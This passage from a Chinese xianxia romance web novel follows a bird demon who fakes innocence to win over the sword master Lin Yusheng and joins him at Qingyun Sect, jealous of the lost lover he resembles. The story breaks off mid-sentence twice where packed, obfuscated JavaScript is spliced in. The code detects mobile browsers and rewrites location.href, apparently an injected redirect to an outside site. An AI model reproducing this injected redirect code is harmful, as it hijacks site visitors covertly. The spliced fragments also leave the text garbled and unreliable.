“盐渍梅子。”他指了指,含着东西的缘故,语音有点含糊,“还要不要?” 我平日里多半时候不太爱说话。能打架解决的事犯不上说废话,不需要打架解决的事都不叫事,也犯不上说废话。 是以对着林玉声,我觉得我好像想说什么,但从嘴一路笨到喉咙,总是什么也说不出来。 我这样发愣,林玉声眨了眨眼睛:“你不爱吃了?我还以为……没关系,不爱吃就吐出来,不要勉强了。” 他拿出来帕子,我赶紧摇头:“不是——好吃的。我喜欢吃的。” 林玉声笑了笑,端过来盘子,捏起来一个递到我嘴边。 我不说话,只是自己嚼嚼嚼。他又很轻地叹气,低了眉眼,就着灯影很长久地看我,像是难过,又像是喜悦,最终都融化在一起。 或者,我想,更准确地说,他其实是在透过我看他那个故人。 我应该高兴的。都说林玉声是一个不好相处的人,但他如此对我,看起来,手段了得的我对他的勾引已经成功了一半了。 但是我心下莫名有点烦躁,而且觉得再这样就要露馅了——我现在是按照鸣琅教过的,装出来很无辜很可怜的样子。林玉声再这么盯着我看下去,我真的演不动了。于是我叫他:“仙长?” 他忽然惊醒,睫毛很快地颤了几下,把被角又掖了掖,嗯了一声。 我觉得应该提一下跟着他回青云宗的事情了。我问他:“仙长救了我,我还不知道仙长叫什么。” 他啊了一声:“我都忘了,怪我——我叫林玉声,是这个林……” 我看着他慢慢地比划,觉得他写字应当是很好看的。 “你呢?”林玉声低头看我,“叫什么,又是怎么……怎么到这里来的?” “闻鄢。”我想像他那样比划,肩膀有点疼,顿了一下。他就把我的手放在掌心里面:“在这里写。” 他的手凉得出奇,像山上的寒潭水。我下意识地想把手缩回来——我想,我的手也不知道有没有洗干净那些泥污血迹。就算是洗净了,放在他羊脂玉一样的手里面,也实在、实在是很不合适。 而且他比琉璃莲花灯还漂亮。我清楚自己是很凶的一个人,只怕自己碰一碰就碎了。 林玉声见状很轻地笑了笑,摇摇头:“没关系。” 我看看他,犹豫一下,在他掌心一笔一画歪歪扭扭地写下来,边写边悄悄看他神色——我知道我的字什么德行。 他眉眼还是柔和,没露出嫌弃之色。我稍稍松下一口气。 “我是……西山的妖族,是鸟妖。”我按照九诘告诉过我的说辞,“西山总是打架。我听说青云宗的流玉峰主很厉害,我想过去学当很厉害的剑修。这样我打架就可以打赢了。” 其实这倒也是真话。我的确想找个地方学打架,当很厉害的剑修,揍遍所有碍眼东西。我想,这句话我应该说得比之前的自然一些。 林玉声果然神色一动:“你是……你是专门,专门来找流玉峰的峰主的?” 我看着他,顿了一下,犹疑着小心点点头:“不、不可以吗?” 这是鸣琅设计的神情,逼着我在镜子旁边跟风晴练了半个时辰,练得我龇牙咧嘴。 “可以,当然可以。”林玉声愣了一下,立刻笑起来,“我就是,我就是……你来找我,我很高兴……” 我作出惊讶神色看他:“仙长就是……就是流玉峰主?”顿了顿,我接着道,“但是我就是个普通鸟妖……” 风晴说,一点点自卑更容易惹人怜爱。虽然我不太懂,但看起来也很有效果。 “不普通。一点都不普通。”林玉声摇头,“你用剑很好,而且还是很有天赋……” 真的吗?我很高兴。我问他:“你愿意带我回去吗?” 他睫毛轻轻地颤动,落下长长的影子,点头又自己摇头:“我带你回去,回去找一个好地方……我那里太冷清了……” 我着急起来:“我不要去其他地方。我就是来找你的。你是不喜欢我吗?” 林玉声立刻又摇头:“不是……当然不是。我怎么会不喜欢你呢……”他顿了顿,叹息一样看着我,“我那里很冷、很寂寞的,你真的要和我回去吗?” 有他在的地方怎么会很寂寞呢?而且鸟羽毛厚厚的,冷一点也不怕,还可以帮他也暖和起来。我这样告诉他,林玉声许久不说话,我看见烛影在他眉梢眼角跳动。 “好,我们一起回流玉峰去。我这次一定带你回去……” 他说到这里便不说了。我在灯下看见他眼中亮亮的,一滴泪落下来。 “我们明天就走……”他不知道是在对我说还是对他自己说,“我们明天就一起走……” 鸣琅其实还教过我下面的十余句该如何说、如何做。但我此刻都想不起来了。 我很着急,想坐起来,想帮他拿帕子擦干净他脸上泪痕:“我和你回去的……你不要哭了。你不开心吗?我……” “好好躺着。”林玉声抬手轻轻按住我,“我高兴的……我高兴的。” 他坐在榻边,看我很 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昨晚灯火暖烘烘地照着,我没发现,此刻屋内晨光昏昏,我才觉出他面色比寻常人苍白一些。 林玉声坐过来,指尖点着看我肩上的窟窿。我想了想还是问他:“仙长,你脸色看起来不太好。你是不是也伤到哪里了?” 他摇摇头,不以为意:“一直都是这样的。不打紧。” 我很怀疑。好在我会和他回去,可以在他身边留心。 林玉声看我一眼,笑了:“好了,这么……嗯,这么小小年纪的,不要这样愁眉苦脸的。” 他从旁边拿过来个东西:“你是不是想要这个?” 他拿在手里的竟然是一盏小小的琉璃莲花灯,灯下青色的流苏很轻地晃来晃去。 我眼睛眨了又眨,看看他,看看灯,又看看他。 “你怎么知道……” “我怎么不知道呀。”他递给我,“我们现在就回去了。还有没有别的想要的?” ……这已经超出我的想象范围了。 我立刻摇摇头,愣了一下,赶紧低头从我自己的小乾坤袋里面翻钱——昨日打劫来的钱是魔修用过的,脏兮兮的。我不想给林玉声。 昨日老头好像说一盏灯三十文钱。我翻出来,指腹下意识地擦了擦递给林玉声。他眉毛一挑:“这是做什么?” 我说:“给钱。” 他眉毛很轻地蹙在一起,笑了:“你这个人,又是这样子……拿着就是了。只当是我给你的见面礼了,好不好?” 我不太明白,他为什么说“又是”。但我来不及细想,又低头在我的袋子里面继续翻。 我终于从一堆低阶的丹药符箓里面翻到了我要的东西。我很喜欢亮晶晶的、各种各样的石头,青婉总说我爱捡破烂,但这块石头她却拿在手里看了很久,告诉我这是很难找的清溪石,能清净灵台、对修士来说很管用,值很多很多灵石。 我不懂这些,只知道它很好看。这石头是白色里面透着一点粉色,有莹润的光泽。我想了很久,把它顺着原本的形状刻成了一朵桃花。我很喜欢它的样子,走到哪里都带着它。 我找出来,给林玉声看。他垂眼看了看:“你这是,嗯,要送给我吗?” 我点头,盯着他看他神色:“是——你喜欢不喜欢?” 眼下我身上的确是没什么别的更好的东西了。先这样,以后补上。 林玉声从我手上接过去,我看见他很珍重地收好。他说:“喜欢,我很喜欢。” 我立刻松了一口气,提起来我的莲花灯,转来转去地看。 晨光昏昏静静,在琉璃光影之间,我看见林玉声浸着笑色的眉眼,眉梢小痣像一滴朱砂。 他说:“我们现在回去,好不好?” 我看了看他,点头。 九诘当时说的真的是给我三百灵石吗?我有一瞬间怀疑是我记错了,也许该是我给他三百灵石才对。 5. 进入青云宗! 从莲心镇一直到青云宗,林玉声的视线始终贴在我身上。我中间费了很大功夫才找到机会给鸣琅传了一点消息,告诉她进展很好,我已经要和林玉声回青云宗了。 其实要不是实在找不到机会,我还想问她,对林玉声的传闻是不是有点问题。鸣琅告诉我他很骄傲,而且脾气很怪,癖好也一阵一阵的,有时候对着个琉璃杯子宝贝得不得了,过段时日又成了对着只蟋蟀百般呵护,好像对妻子一样,谁敢动一动就要被他拔剑相向。 我觉得林玉声看起来也不像这种人。 鸣琅传回来的话也很简短:“想办法在青云宗内站稳脚跟,不可掉以轻心。肩伤莫忘用药。” 好吧。我有点不满——我这样手段了得,她怎么都不夸我一下? 林玉声看我神色:“怎么了,是不是台阶太长了?” 青云宗在山上,要走过长长的白玉阶才能到山门,我正在和他一起慢慢地上去,听他这么说赶紧摇头:“不是。” 鸣琅说的没错,我还是要谨慎。不能像这样把什么情绪都露在面上,林玉声的眼睛很难骗过去。 林玉声停下来:“是不是还是因为伤?不要逞强,我背你上去,好不好?” 我的头顶只到他眉毛,他垂了视线看我,被日光照得像一尊洁白小玉像。我被他的想法吓到了,更大幅度地摇头:“不是……不用。我自己可以。” 断两根肋骨我还能揍东边的那个鹿妖呢,何况这点小伤。我很快地上了几级台阶,回过身看他:“你看,我没逞强。” “好了,慢一点。”他看我片刻,笑着摇摇头,跟上来,“那方才怎么了,不开心?” 我总不能说实话,于是小声道:“我是想,嗯,会不会青云宗的其他人不喜欢我?要是把我赶下来,”我看他,“我就找不到你了。” 好吧。我说得有点心虚。当真是在胡诌,旁人喜欢我不喜欢我,怎么想都觉得没什么要紧,打不过我就行了。至于赶我下来,难道我就不会再上来了吗? 但是也许我真的和他那个心上人长得太像了。林玉声只一听这话,看我的眼神都软得像水了。他隔着袖子牵住我,反复保证:“会喜欢你的,怎么会不喜欢你呢?再说了,我在这儿呢,谁敢把你赶下来……” 我日日都在揍人与被揍。被他牵着手腕,我本能地浑身绷紧想要挣脱,但他看我一眼,我就又不乱动了,老老实实被他牵住。 他不知道想起来了什么,问我:“你在西山,和别人相处得还好吗?” 我想了想:“应该还算好吧。”我跟他解释,“西山的魔修和妖修,还有一些人族——他们有的很碍眼,我就揍他们,他们就老实了。” 我觉得总体来看,大家相处得还算不错。问题基本上都能靠打架解决。 林玉声眨着眼睛,眉峰又很轻地蹙在一起。和他背后的群山一样。 我问他:“你怎么也不开心?” 林玉声摇摇头:“不怎么——好了,咱们到了。” 我转头来看,遥遥看见数十丈的山门在日光底下金光云气缭绕,“青云宗”三个字高高镌在上面。我听见有清亮鹤鸣划过长空。 有人迎上来,身上是青云宗深蓝色的弟子服,向林玉声行礼:“林峰主。” 他看了我一眼,视线掠过我被林玉声牵着的手腕,神色复杂起来:“这位是……” 来了!来了! 鸣琅给我看过好多话本子,说是在人间很时兴,开篇都是“某某师姐某某师兄从山下游历回来后,带回了一个人”。 话本子有两种,在第一种里面,这个被带回来的人又漂亮又坏心眼,百般挑拨仙长和他道侣的关系,在末尾被幡然醒悟的仙长毅然决然地抛弃。第二种则是这个被带回来的人是真的善良柔弱到难以理解,在仙长不知道的地方被各种冷眼嘲讽,被欺负了一整个话本子之后才获得了总长两句话的所谓翻案。 我压着火问鸣琅:“我要演哪一种? “取百家之长。”鸣琅摇摇手指,“你现在是一个又漂亮又善良又柔弱又坏心眼的小妖。” “……” “开玩笑的。”鸣琅道,“只是告诉你,你跟着林玉声回去,一定会被青云宗的人怀疑甚至刁难,此乃狐狸精必经之路。但这些人都不重要,来,我教你怎么哄住林玉声。” 果然!这就来了! 林玉声和他说话,语气同样是温和的,只是明显不像和我说话时那么柔软:“这是我山下遇见的朋友。以后留在流玉峰了。” 那弟子应下来,只是看我的眼神很微妙,像在看什么狐狸精。 ……虽然我的确是,但对上他明显有些不善的目光,我还是没忍住朝他举了举剑,目露凶光:“你有意见?” 林玉声的目光看过来,我忽然心下一惊。又暴露本性了。鸣琅教过我,要在林玉声面前装得柔弱一点、无辜一点。 意识到刚才做错了,我赶紧收回来剑,把眼睛一下子垂下去,按照鸣琅教的那样,往林玉声旁边凑了凑,略显生硬地压低声音:“仙长,我、我不是故意的……我是不是不该来这里……” 我瞥见那弟子表情很震撼,吞了苍蝇一样看看我又看看林玉声:“林峰主,我,这,他……” 其实我自己心下也直冒酸水。我懂他。 “谁说的?”林玉声回头看我,更紧地牵住我的手腕,抬头的时候皱了眉,“人是我带回来的,有意见找我。” 我有点惊讶。鸣琅教我的东西我才刚演了个开头,就这么管用? “先不用看着我回流玉峰,”林玉声又和他说,“我去见你师尊。” “您要……见师尊?” 那个弟子有些讶然,看看林玉声,又神色复杂看了我一眼,到底没说话,转身带路。 原来这就是当狐狸精的感觉。我悄悄看了一眼林玉声——如果是林玉声,好像也有点意思。 林玉声仍然牵着我慢慢走,又和我解释道:“这里是青云宗的主峰。我们现在去见一见掌门。” 我点头。方才山门外还没什么人,这会儿走过来,路上的洒扫弟子已经多起来了,开始有三三两两探询目光跟着我。 看什么看。没见过勾引人的狐狸精坏鸟吗? 林玉声似乎不觉,见我看他,顺手把我衣襟前面勾住的银链子解开,轻声说:“怎么了?” 我们正经过的好像是演武场,我瞥见台上那人朝我们看过来,恰好看见林玉声给我理链子,神色一变,剑尖忽而偏了一寸,被对面的女修一瞬化解了他的攻势连连击退。 打架的时候也敢分心?输得不冤。 但那女修方才的一招倒是算精彩,我记了下来,又指指演武场,问林玉声:“我以后可以来这地方跟他们打架……嗯,跟他们切磋吗?” 在青云宗的机会到底还是很难得的。虽然他们远比不上林玉声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921812|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但总归切磋下来能有一星半点的进益。大的小的一起抓,我回西山的时候也能更厉害。 林玉声朝演武场看了一眼:“你想跟他们打?” 我点头。林玉声笑笑:“好吧。只怕你觉得没意思。” 他怎么会这么觉得呢?我很疑惑。说得好像我已经是什么很厉害的人一样。我看得出来,场上那些人少说也有金丹修为了。 我这样告诉他,看见他忽然愣了一下,闭了闭眼睛,片刻后复又睁开。 “等你伤养好了,”他转了话头,“这里是主峰,还有渺云峰、文华峰,都是主修剑的。你看喜欢哪里,就到哪里跟他们切磋。” 我还未来得及高兴,看着他神色却忽然明白过来——他刚才也许是把我当成他那个故人了。 那个人从前是西山的妖王,肯定是比我厉害很多,大概和林玉声的实力也是差不多的。我想到这里,有一点隐隐约约的烦躁,错开他的视线。 这不应该。但我的确忽然觉得那个人有点讨厌。 我听说外面那些宗门规矩很多很麻烦,没想到林玉声是直接带着我径直进了掌门的殿中。 青云宗的掌门赵何处看着比九诘还是像样很多,是一个沉静周正的青年,板着脸很严肃的样子,见了林玉声讶然一瞬便露出一点笑色,只是看见被牵着的我的时候,眉眼的笑色就明显卡顿了一下。 又来了!又来了! 我蓄势待发。他是掌门,我能不能留在青云宗,他应该是很重要的一环。我仔细观察他的神色,但林玉声在他说话之前就开口:“掌门师兄,我带了个人回来,要留在流玉峰,来跟你说一下。” 赵何处目光来回几趟,好像没太明白情况,看着我犹豫着开口:“这是……” 我抬了视线看他,装得很人模人样:“我叫闻鄢,是西山妖族,在山下遇见了林仙长。” 赵何处上下打量我,我在记忆里面搜了一圈,正准备按照玉简上的第十三式应对,却被林玉声往他身后拉了一点:“他日后在青云宗行走,还要麻烦师兄给他个令牌。” 我还没怎么施展所学,林玉声言行举止已经帮我坐实了山下带回来的狐狸精身份了。好吧。 赵何处神色也有些复杂起来,但比他那个弟子好很多:“这是自然……我来安排就是。我们青云宗不会怠慢客人。” “师兄,他不是客人。”林玉声认真道,“流玉峰我在一日,他就也是流玉峰一日的主人。” 我和赵何处两个人都愣住了。我感觉他的脸色有点不太自然,林玉声隔着衣袖安抚一样地很轻地拍了拍我。我心下一颤。 “玉声,”赵何处收了笑色,“不要闹,他就算是有几分相像……” 我一愣,而后心下有点生恼。果然,他也知道林玉声和那个人的事情。他也知道林玉声对我好只是因为我这张不知道像谁的脸。 知道就知道,一定要说出来提醒我吗? “师兄,我不是来商量此事的。”林玉声打断他的话,语调仍旧温和,眉尖却微微地蹙了起来,“我心里有数。时间到了,我必须回流玉峰了。” 赵何处不说话了,目光几乎是无奈地在他身上停留很久,又落在我身上。 我觉得赵何处看起来好像也挺烦我的。但谁在乎呢?我又不喜欢他。 他又说了几句废话,我没怎么听。日光高高地照下来,林玉声淡粉色的袖子层层叠叠,芍药烟一样。 6. 正式入住 我以为上流玉峰的时候,还要再来一遍方才那些探询与质疑。但出乎我意料的,流玉峰上几乎没什么人,最初还有几个值守弟子,待到往上走,连半个人影都看不到。 这地方不见冰雪,风却比方才的主峰明显清寒一些。我问林玉声:“流玉峰上只有这些人了吗?” 林玉声嗯了一声:“我还有个徒弟,她出去历练去了。” 我一惊。我揍过一个魔修,原本好像是个大宗门的修士,说是觊觎自己师尊不得才遁入魔道。我揍他的时候他还在那翻来覆去地念叨自己师尊的名讳,听得我很烦。 我不知道这种事情在修真界是不是很常见,但我看林玉声神色,觉出来他和自己徒弟的关系应当也不错。 有可能会威胁到我对林玉声的勾引。不得不防。 我在心里盘算,林玉声自顾自道:“不知道她什么时候回来,但应当不会太久……嗯,你们应该聊得来的,她还是……” 他说到这里又不说了,只看着我笑了一笑。我敷衍着点点头。 聊不来。 我跟着林玉声进了他的洞府,如是想道。 好在林玉声没发现我这点心思。他带着我在居所内转了一圈,又问我:“你喜欢这里吗?” 他的洞府在流玉峰高处,外面竹林合抱,云气回卷,从正殿到后面的房间果然都是寒气隐隐,到处寂寂无人,垂下来的纱幔雾气一样来回翻卷。 即便林玉声说过他住的地方很冷、很寂寞,我也还是下意识地觉得林玉声的住所不应该是这样清寒的地方。我总以为他看起来很娇贵的一个人,应该住在花团簇拥、珠玉堆叠的地方。他站在其中,像一点格格不入的明丽春色。 我想起来他潭水一样冰凉的手。是因为住在这种地方吗? 他见我没说话,又说:“你是不是觉得太冷清了?要不然……” “不是,”我见他又要说什么给我找个好地方之类的话,赶紧摇头,“很好了,我觉得很好了。” 怕他不信,我告诉他我在西山的那间小屋子是什么样子的。我要找很久才能找到破布毛毡之类的东西补好房顶,而这里不光不会漏风漏雨,也没有一天荡进来三遍的沙尘,还有很漂亮的青玉地砖和雕花门窗,对我而言已经很好很好了。 何况林玉声也住在这里呢。 林玉声沉默着听完,把我行动间搭在肩头的发带轻轻拂下去,指尖在我肩上停了片刻。 他低了眉眼看我,抬了手不知道想干什么,又收回去:“我这次……动作又慢了。” 我不明白,问他:“你做什么慢了?” 林玉声没接话,有风穿过殿内,他身后轻纱翻涌:“没什么。你喜欢住哪间?” 鸣琅提过,在不动歪心思的前提下,让我能找机会跟他睡一起最好。我想了想,还是觉得有点太过分了。她以为我不懂吗?只有道侣才会在一起睡觉的。我只是来勾引他的。 于是我选了离林玉声最近的房间,就在他寝居的隔壁。外面天色已经暗下来了,我坐在榻上,看林玉声点上烛火,灯影在他桃花色衣衫上淌来淌去,照出发间垂下来的红玉珠。 “好了,”他让我在榻上躺下来,“你伤还没有好,现在不要管其他的了,先在你房间里面好好休息……嗯,我再看看你的伤。” 我不明白,几个小窟窿而已,我自己连丹药都懒得用。何况青婉也说过,我比别人更抗打。这点小伤放着不管,过段时间自己就好了,到底有什么可养的?我现在还能再打至少十个他那样的魔修。 我不是一个很娇气的人。我也不能是。 但我没说出来。因为林玉声在榻边坐了下来,指尖凝起来一点灵力,点上我的肩膀。他上次在客栈里面给我疗伤的时候,在我旁边坐了一刻钟。整整一刻钟。 我想,有时候做一只坏鸟也没什么。 我和他都没有说话。一刻钟之后,他收了灵力,指尖从我肩膀上抬起来,但并没有起身,又顺着在我胸口、左臂一路点下去,眉毛渐渐地蹙起来:“昨日没仔细看……怎么又是这么多旧伤?” 我很疑惑:“什么……什么旧伤?” 他点过去的那些地方早就长好了,偶尔疼一疼而已。我不知道自己有什么会影响打架的旧伤。 于是我这么告诉他,林玉声就叹气,不知道在想什么,嘴张了又闭上,只是很无奈地看我,把被子掖好:“不疼吗?” 我摇头,告诉他西山有很多碍眼东西。只要能把这群乱找事的碍眼东西揍干净,这点小伤没什么可在乎的,也没什么可怕的。 林玉声看我片刻,笑得像叹息。他说:“这样固执。” 我问他:“固执一点,不是好事吗?” 林玉声看着我,点点头:“是。的确是。我也固执。” 想来也是。剑道一往无前,一个总是回转心意的人也做不了全天下最好的剑修。他当年凡人之躯镇压堕仙人的时候,一定比我现在伤得重得多。 ——他连迎战飞升过的仙人都不害怕。我越想越觉得喜欢他。 “罢了……先不要着急修炼,等把这些旧伤养好再说。听话。” 他站起来把床帐放下来,我看见上面绣着云纹的银线亮晶晶的。 林玉声就站在层层云纹外面,说:“明日我再过来看你,好不好?” 我又不能说不好。我总不能让他留在这里一晚上。凭什么只有道侣才能一起睡觉呢? 总之我只能点头,看着他转身,轻轻地合上门。 但是好在他方才在这里停了很久。我在枕间还能闻到很淡的、和他身上一样的香气。这样躺了一会儿,我忽然想起来我收在乾坤囊里面的莲花灯,爬起来小心地在旁边的桌案上放好。 月色停在琉璃上,亮亮的。 林玉声早上进来的时候,脸上笑色一下子收了起来。 “闻鄢,”他盯着我,“干什么呢?” 我站在那里,只比林玉声的眉毛高一些,背着手被他看了片刻还是老老实实地将藏在背后的、刚刚摸到的剑拿给他看。 林玉声拢起袖子:“我昨日怎么跟你说的?” 我小声重复:“修炼不可急于求成,不养好根本就急着练,反而有碍修为。” 林玉声嗯了一声,似乎想说什么,见我低着头又很轻地叹口气:“好了,不是在怪你。你如果实在闲不住,我给你找点书来看看,好不好?” 他抬手,我想了想,犹豫一下还是把剑放到了他手里。林玉声拿着我的剑看了看,我偷偷看他。 “你一直用这把剑?” 我点头。 林玉声唔了一声,不知道在想什么,将剑又靠回屋角。 我早就看见那里原本还有一把剑,剑身细长,琉璃一样通体透明晶亮,剑柄上雕着很精致的花纹,只一看就是林玉声的剑。 和他一样的漂亮。 眼下我的剑灰扑扑地倚在那里,跟我的人一样格格不入。我正偷眼看着两把剑,却忽而看见林玉声那剑似乎动了一动,自己跳了两下凑近我的剑。 我一下子睁大眼睛。 “明漪,不要闹了,小心碰着它。”林玉声听见声音,也看过去,“等下带你们俩出去晒太阳。” 见我神情,他笑道:“忘了和你说了。这是我的剑,叫明漪,平时有点爱动。” 我看看他,看看剑,又看看他:“剑……怎么会动?” 林玉声说:“剑有剑灵,自然会动。” 我听说过这种说法,从前也不知真假,头一次真正见到,觉得很新奇:“那我的那把怎么不动?是它的剑灵不爱动吗?” 我平日和它说好多话,它会不会觉得我很聒噪? 林玉声眨着眼睛想了想:“可能……还在睡觉?” 他虽然这样说,我还是明白过来。不是所有的剑都有剑灵。 我的这把,多半只是一把再普通不过的剑。 没关系。林玉声转身出去拿东西,我悄悄拍拍它:“不要紧,我还是很喜欢你的。” 一旁的明漪闻言倒是动了动,我见它凑近下意识伸手,伸到一半又收回来——我从不肯让别人轻易碰我的剑。林玉声或许也不喜欢别人乱动他的武器? 何况明漪是这么漂亮锋利的剑。 林玉声不知道从哪里搬出来两把竹椅子,我们俩一人一把。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921813|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这是他洞府外面竹林缺口处,山石外面白云像浪潮一样翻涌,远处隐隐有山峦层叠。我感觉我的衣角好像被白云打湿了。 “书要等我给你找找,但是我现在要先晒太阳。”我回过神,听见林玉声说,“你等着也是等着,也来跟着晒一晒。” 我应了一声。 说是晒太阳,其实这地方日光稀薄得出奇,照在身上甚至一点温度都感觉不到,只能说比其他地方亮一些。流玉峰顶是一个连日光都寂寂的地方。 但林玉声似乎很愉快,将明漪横在膝头,自己靠在竹椅上。我看看他,将原本生出的一点疑问又咽回去,学着他的样子,把我的剑也放好。 他坐在我右边。我视线放在自己的剑上,余光悄悄看他侧脸。 其实他是一种很锋锐的漂亮。轮廓线条都干净利落,眉眼鲜明如画笔新就,小痣是落下的朱砂。只是他常常带着笑色,才会显得整个人都像温温柔柔的月光。 我想起来传闻中百年前堕仙人作乱时那段暗无天日的时候。隔着一个大境界的修士要越级挑战已经很难了,林玉声那个时候拔剑向曾经渡劫飞升的仙人,又是什么样子呢? “明漪最喜欢晒太阳。”林玉声开口,打断我的思绪,“所以等会儿可能更爱动,先跟你说一声,免得吓到你。它有时候……嗯?” 琉璃长剑横在他的膝头,一动不动。林玉声屈指敲敲剑柄:“你怎么了?” 明漪往他掌心里面蹭了蹭,一柄剑居然莫名看起来有点……怎么说,委屈? 我不懂剑灵和主人是怎么交流的,只看着明漪周围泛起很淡的青色光晕,林玉声垂眸似乎是在听,忽而轻笑一声。 他看向我:“明漪说你不理它?” 我一愣,林玉声接着解释:“它说,你只安慰自己的剑,连摸都不摸它。” 琉璃剑在林玉声腿上来回翻滚。 我说:“我以为,它不喜欢旁人乱碰,你也不喜欢……” “通常是不喜欢。”林玉声侧过头,“这也分人。明漪不常亲近人,结果在你这里碰了钉子,跟我好一通委屈呢。” 他把尾音轻轻地拉长,听上去也在抱屈。 “我、我只是觉得……” 看着林玉声的眼睛,我止住话头,小心翼翼地轻轻碰了碰明漪的剑柄,又顺着摸到剑鞘,果然触感冰凉,还没来得及缩回手就被剑柄反过来敲了一下。 “……” 我看林玉声:“它这是又不愿意让我摸了吗?” 林玉声指尖在剑身上有一下没一下地轻轻点着,一副见怪不怪的样子:“撒气呢。它就这样。” 明漪果然敲了我那一下就又拱过来,像刚才蹭林玉声那样,在我掌心也蹭了蹭,又缩回林玉声怀里。 我若有所思。林玉声看我:“想什么呢?” “我听说,”我犹豫一下,“有剑灵的剑,它的脾性是随主人的。” 林玉声愣了一下,抱着明漪笑起来,发簪上的带子长长地垂在剑柄上。他说:“是这样。” 真的假的。我想了又想,也实在想不出来林玉声像这样撒娇撒痴的样子。 ——明漪不是对所有人都亲近。林玉声会对谁这样呢? 那副画卷就在这时又很讨厌地从我脑海里面冒出来。昨日林玉声带着我在洞府中到处看,我在他寝居桌案上瞥到幅还未收起来的半卷画轴。 画上人很嚣张地看着我。眉眼落拓张扬,妖里妖气的,黑衣银链,微微打卷的长发披散,隐约与我六分相像,我一看就知道是谁——我被派来此处,就是做他的影子。 说实话,我很清楚能留在流玉峰其实应该谢他。但我现在想到他就烦。 他肯定知道林玉声的很多事情,和林玉声一起待过很久。但我现在除了知道林玉声是一个很厉害的剑修、是一个很温柔的好人,还真的真的很惦念他以外,什么都不知道。 ——何况我其实,也不是很想知道林玉声有多惦念他。我甚至有些瞬间,开始不想让林玉声对我那样好。他现在无缘无故地对我越好,就越证明那个人在他心里的分量有多重。 怎么会有这么讨厌的人?好想和他打一架。 7. 好日子 我被林玉声领到水晶镜前面的时候,又想起了那副可恶的画卷。 他和我的确很有点像。像谁不好,我偏偏像他? 林玉声站在我身后,按着我的肩膀打量镜子里面的我,看了看我神色:“是不喜欢吗?” 他早上的时候给我看宗门里面送来的新做的衣服。我原先那件衣服因为跟魔修的那一架破了口子,刚到这里的时候,林玉声不知道从哪里翻出来了件颜色相近的衣服,但是料子实在是好得多,有很漂亮的暗纹和滚边,领口还有亮亮的珠扣。我穿上略有一点长,腰身很紧,大概是他的衣服。 “好吧,”林玉声当时看了看,勉强点头,“先将就一下。” 我正很小心地穿上,生怕自己把这样漂亮的衣服扯坏了,听见他的话一愣。如果这是“将就”,那我之前穿的算什么? 总之我就这么“将就”了两日,林玉声就给我拿来了一叠新做的衣服,比我身上正在穿的这件还要精致,而且都缀着鸟最喜欢的、亮晶晶的链子或者珠子。我看见上面都细细绣着护身的法纹。 “你看一看,”林玉声说,“可还喜欢?” 我看了那叠衣服很久,只敢伸手很轻地碰一下,还是不可置信:“这是……给我的?” 他嗯了一声,抬手揉我发顶:“都是你的。要是不喜欢,再做别的。” 我立刻摇头:“不用、不用,这已经……” “好了。”林玉声眼睛弯起来一点,“喜欢哪个?自己去换。” 林玉声让我自己选,我只翻了一下,就很想把放在最上面的那件黑色的、肩头有银色羽毛和链子的直接压进箱底。 ——这和那画上的简直一模一样。 但是看见他的目光,我又可恶地犹豫了。 就这一次,我想,就这一次。穿给林玉声看看又怎么样呢?就这一次。只当是我略施小计勾引他了。以后那人是那人,我是我。就这一次。 我还是换上了那件可恶的衣服,干脆把发带也解开了,跟那人一样散着头发,发现我的发梢也可恶地打着卷。现在说那画上画的其实是我,大概也有人信。 就这么瞪着镜子里面的自己,我没说话,林玉声又问了一遍是不是不喜欢,我才回过神,咬牙道:“不是……不是。我觉得很好看。” 林玉声看了镜中的我一会儿。我不知道我有没有藏好自己的那点情绪,只是听见他说:“还是换一件吧。你年纪小,还是穿鲜亮些的。” 我回过头抬眼看他,他眉眼还是笑着的:“我看那几个颜色你穿都很好……你喜欢哪个呢?” 林玉声几乎是很纵容了。我不明白,又全都明白。 我到底还是挑了深蓝色的一件,和我第一次见他穿的颜色一样。林玉声把我的头发慢慢地拢好,扣上精巧的银冠。 我老老实实地坐在镜子前面让他摆弄,觉得镜子里面现在的自己很有些陌生,从头到脚都干干净净、漂漂亮亮的。 林玉声看起来很喜欢。那我也觉得我很喜欢。 我对着镜子看了一会儿,问林玉声:“你有什么讨厌的人吗?” 林玉声眨眨眼睛:“怎么问这个?” 我告诉他,我很会打架。林玉声就笑着摇摇头:“嗯,我没什么想揍的人。” 我很失落。我旁的又不会,只会这个,但他又不需要。我又想了想:“那你有什么想要的东西吗?” 之前我帮一些修士到很高很高的悬崖上面摘过东西,虽然摔下来很痛,但拿到了很多灵石。也许林玉声也有什么想要的东西长在很难拿到的地方。 林玉声就笑:“我想要的东西……你说在哪儿呢?” 好吧。我脑子笨,想不出来。 林玉声看着我,想了一想:“嗯,你说你力气很大?” 我立刻点头,很期待地看着他。 “我的确有事情要请你帮忙,”他偏头看我,“我有好多书要晒,你来帮我,好不好?” 我觉出来他在哄我,又有点泄气。我说:“我不是小孩子——我们妖族化形就算是你们人族的成年了。” 林玉声就笑起来,拿手比划:“嗯,但是你至少要到和我一样高,在我这里才不算小孩子呢。” 我不说话,他又接着道:“我也没哄你。我现在没什么仇家,又已经没什么未了愿,哪里需要你上去打架呢?我真的不喜欢做这些杂事的,殿里面又没有其他人。你不肯帮我吗?” 